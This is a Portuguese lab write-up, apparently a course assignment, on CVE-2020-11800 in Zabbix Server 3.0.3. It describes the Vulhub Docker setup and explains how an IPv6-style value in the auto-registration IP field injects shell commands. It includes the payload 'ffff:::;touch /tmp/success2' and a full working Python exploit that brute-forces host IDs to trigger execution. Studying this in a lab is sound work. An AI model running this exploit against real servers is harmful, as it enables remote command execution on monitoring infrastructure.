
Exploit PoC para CVE-2020-11800, uma injeção de comandos no Zabbix Server via auto-registro de agente malicioso, com entrega de payload baseada em Python e força bruta de ID de host.
Seções exigidas pelas diretrizes da atividade são marcadas com “(Obrigatório)”.
Este ambiente usa um Dockerfile personalizado baseado na imagem vulnerável do Zabbix Server fornecida pelo Vulhub.
FROM vulhub/zabbix:3.0.3-server
O Dockerfile cria uma imagem local usando o ambiente vulnerável do Zabbix Server 3.0.3. Nenhum pacote ou configuração adicional foi adicionado durante o processo de build.
O ambiente vulnerável é configurado usando o Docker Compose.
O ambiente consiste em quatro serviços:
O serviço server é construído localmente usando o Dockerfile:
server:
build: .
image: cve-2020-11800-server
O contêiner MySQL importa automaticamente os arquivos de inicialização SQL do diretório src/ usando montagem de volume:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
Isso permite que o esquema do banco de dados e os dados iniciais do Zabbix sejam carregados automaticamente quando o contêiner inicia.
O ambiente opera usando a seguinte estrutura:
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
Fornece a interface de gerenciamento baseada na web, acessível pelo navegador.
O administrador configura o auto-registro e executa operações relacionadas ao monitoramento por meio dessa interface.
O componente principal responsável por:
A vulnerabilidade de injeção de comandos é acionada dentro desse contêiner.
Atua como um host monitorado e se comunica com o Zabbix Server.
O exploit abusa do mecanismo de auto-registro durante o processo de registro do agente.
Armazena dados de configuração do Zabbix, informações de hosts e dados relacionados ao monitoramento.
| Serviço | Imagem | Versão |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
O ambiente é baseado no ambiente vulnerável Zabbix 3.0.3 fornecido pelo Vulhub.
CVE-2020-11800 é uma vulnerabilidade de injeção de comandos na funcionalidade Active Proxy Trapper do Zabbix Server.
A vulnerabilidade existe porque o patch para CVE-2017-2824 foi incompleto. Um atacante pode contornar o patch original usando um payload no estilo IPv6 e executar comandos arbitrários no Zabbix Server.
A vulnerabilidade é acionada durante o processo de auto-registro, quando o servidor processa informações de host controladas pelo usuário.
A causa raiz da vulnerabilidade é o tratamento inseguro de entrada controlada pelo usuário dentro de comandos shell.
Durante a execução de scripts, o Zabbix Server usa o valor do IP do host registrado para construir comandos como:
ping <host_ip>
Em condições normais:
ping 127.0.0.1
No entanto, se um atacante registrar um host usando o seguinte payload:
ffff:::;touch /tmp/success2
o comando final executado pelo shell torna-se:
ping ffff:::;touch /tmp/success2
Como o ponto e vírgula (;) atua como separador de comandos do shell, o shell interpreta a entrada como dois comandos separados:
ping ffff:::
touch /tmp/success2
Como resultado, a execução arbitrária de comandos torna-se possível.
O patch original para CVE-2017-2824 tentava restringir valores de entrada maliciosos.
No entanto, a lógica de validação não tratava adequadamente entradas no estilo IPv6.
O payload:
ffff:::;touch /tmp/success2
usa um prefixo semelhante a IPv6 (ffff:::) para contornar a lógica de validação existente enquanto ainda injeta metacaracteres do shell.
Isso permite que atacantes contornem o patch anterior e continuem explorando a vulnerabilidade de injeção de comandos.
O processo do exploit ocorre na seguinte ordem:
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
O atacante primeiro envia uma solicitação maliciosa de auto-registro contendo um campo IP especialmente elaborado.
Após o host ser registrado, o Zabbix Server executa um script de monitoramento usando o valor do IP do host armazenado.
Durante esse processo, o payload malicioso é interpretado pelo shell, levando à execução arbitrária de comandos.
O exploit permite que atacantes executem comandos arbitrários com os privilégios do processo do Zabbix Server.
Neste ambiente, a exploração bem-sucedida criou o seguinte arquivo dentro do contêiner do servidor:
/tmp/success2
Isso confirma que os comandos shell injetados foram executados com sucesso.
Em um ambiente real, a exploração bem-sucedida poderia permitir que atacantes:
A vulnerabilidade é particularmente perigosa porque servidores de monitoramento frequentemente têm visibilidade de múltiplos sistemas internos e componentes de infraestrutura.
A Prova de Conceito (PoC) foi escrita em Python e se comunica diretamente com o Zabbix Server pela porta TCP 10051.
A PoC executa as seguintes ações:
hostidimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
O payload usado nesta PoC é:
ffff:::;touch /tmp/success2
| Parte | Propósito |
|---|---|
ffff::: | Prefixo semelhante a IPv6 usado para contornar a validação |
; | Separador de comandos do shell |
touch /tmp/success2 | Comando arbitrário executado no servidor |
O payload abusa do fato de o servidor concatenar incorretamente valores de IP controlados pelo usuário em comandos shell.